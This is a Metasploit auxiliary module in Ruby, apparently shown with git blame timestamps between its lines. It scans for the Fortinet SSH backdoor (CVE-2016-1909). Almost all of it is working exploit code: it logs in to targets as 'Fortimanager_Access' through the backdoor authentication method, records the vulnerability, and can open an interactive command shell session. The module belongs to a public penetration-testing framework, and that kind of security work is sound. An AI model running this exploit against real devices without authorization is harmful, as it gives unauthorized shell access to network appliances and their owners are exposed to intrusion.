2016-02-28 00:19:14 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-02-28 00:19:14 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2018-12-12 22:25:38 +00:00
|
|
|
|
2016-09-16 17:32:30 +00:00
|
|
|
include Msf::Exploit::Remote::SSH
|
2016-02-28 00:19:14 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2018-02-22 12:04:18 +00:00
|
|
|
include Msf::Auxiliary::CommandShell
|
2016-02-28 00:19:14 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Fortinet SSH Backdoor Scanner',
|
|
|
|
'Description' => %q{
|
|
|
|
This module scans for the Fortinet SSH backdoor.
|
|
|
|
},
|
|
|
|
'Author' => [
|
|
|
|
'operator8203 <operator8203[at]runbox.com>', # PoC
|
|
|
|
'wvu' # Module
|
|
|
|
],
|
|
|
|
'References' => [
|
|
|
|
['CVE', '2016-1909'],
|
|
|
|
['EDB', '39224'],
|
|
|
|
['PACKETSTORM', '135225'],
|
2018-09-17 22:07:49 +00:00
|
|
|
['URL', 'https://seclists.org/fulldisclosure/2016/Jan/26'],
|
2016-02-28 00:19:14 +00:00
|
|
|
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
|
|
|
|
],
|
2018-11-19 16:46:18 +00:00
|
|
|
'DisclosureDate' => '2016-01-09',
|
2016-02-28 00:19:14 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
Opt::RPORT(22)
|
|
|
|
])
|
|
|
|
|
|
|
|
register_advanced_options([
|
|
|
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
|
|
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2016-06-28 20:23:12 +00:00
|
|
|
factory = ssh_socket_factory
|
2016-09-16 17:32:30 +00:00
|
|
|
|
2016-02-28 00:19:14 +00:00
|
|
|
ssh_opts = {
|
2016-09-16 17:32:30 +00:00
|
|
|
port: rport,
|
2018-02-22 12:04:18 +00:00
|
|
|
# The auth method is converted into a class name for instantiation,
|
|
|
|
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
|
2016-09-16 17:32:30 +00:00
|
|
|
auth_methods: ['fortinet-backdoor'],
|
|
|
|
non_interactive: true,
|
|
|
|
config: false,
|
|
|
|
use_agent: false,
|
2018-08-16 02:28:08 +00:00
|
|
|
verify_host_key: :never,
|
2016-09-16 17:32:30 +00:00
|
|
|
proxy: factory
|
2016-02-28 00:19:14 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
|
|
|
|
begin
|
|
|
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
2016-05-17 07:50:12 +00:00
|
|
|
Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts)
|
2016-02-28 00:19:14 +00:00
|
|
|
end
|
|
|
|
rescue Net::SSH::Exception => e
|
|
|
|
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2018-02-22 12:04:18 +00:00
|
|
|
return unless ssh
|
|
|
|
|
|
|
|
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
|
|
|
|
|
|
|
|
version = ssh.transport.server_version.version
|
|
|
|
|
|
|
|
report_vuln(
|
|
|
|
host: ip,
|
|
|
|
name: self.name,
|
|
|
|
refs: self.references,
|
|
|
|
info: version
|
|
|
|
)
|
|
|
|
|
|
|
|
shell = Net::SSH::CommandStream.new(ssh)
|
|
|
|
|
2018-12-12 22:25:38 +00:00
|
|
|
# XXX: Wait for CommandStream to log a channel request failure
|
|
|
|
sleep 0.1
|
|
|
|
|
|
|
|
if (e = shell.error)
|
|
|
|
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
|
|
return
|
|
|
|
end
|
2018-02-22 12:04:18 +00:00
|
|
|
|
2018-12-12 22:25:38 +00:00
|
|
|
info = "#{self.name} (#{version})"
|
2018-02-22 12:04:18 +00:00
|
|
|
|
|
|
|
ds_merge = {
|
|
|
|
'USERNAME' => 'Fortimanager_Access'
|
|
|
|
}
|
|
|
|
|
2018-12-12 22:25:38 +00:00
|
|
|
if datastore['CreateSession']
|
|
|
|
start_session(self, info, ds_merge, false, shell.lsock)
|
|
|
|
end
|
2018-02-22 12:04:18 +00:00
|
|
|
|
|
|
|
# XXX: Ruby segfaults if we don't remove the SSH socket
|
|
|
|
remove_socket(ssh.transport.socket)
|
2016-02-28 00:19:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
2018-12-12 22:25:38 +00:00
|
|
|
|
2016-02-28 00:19:14 +00:00
|
|
|
end
|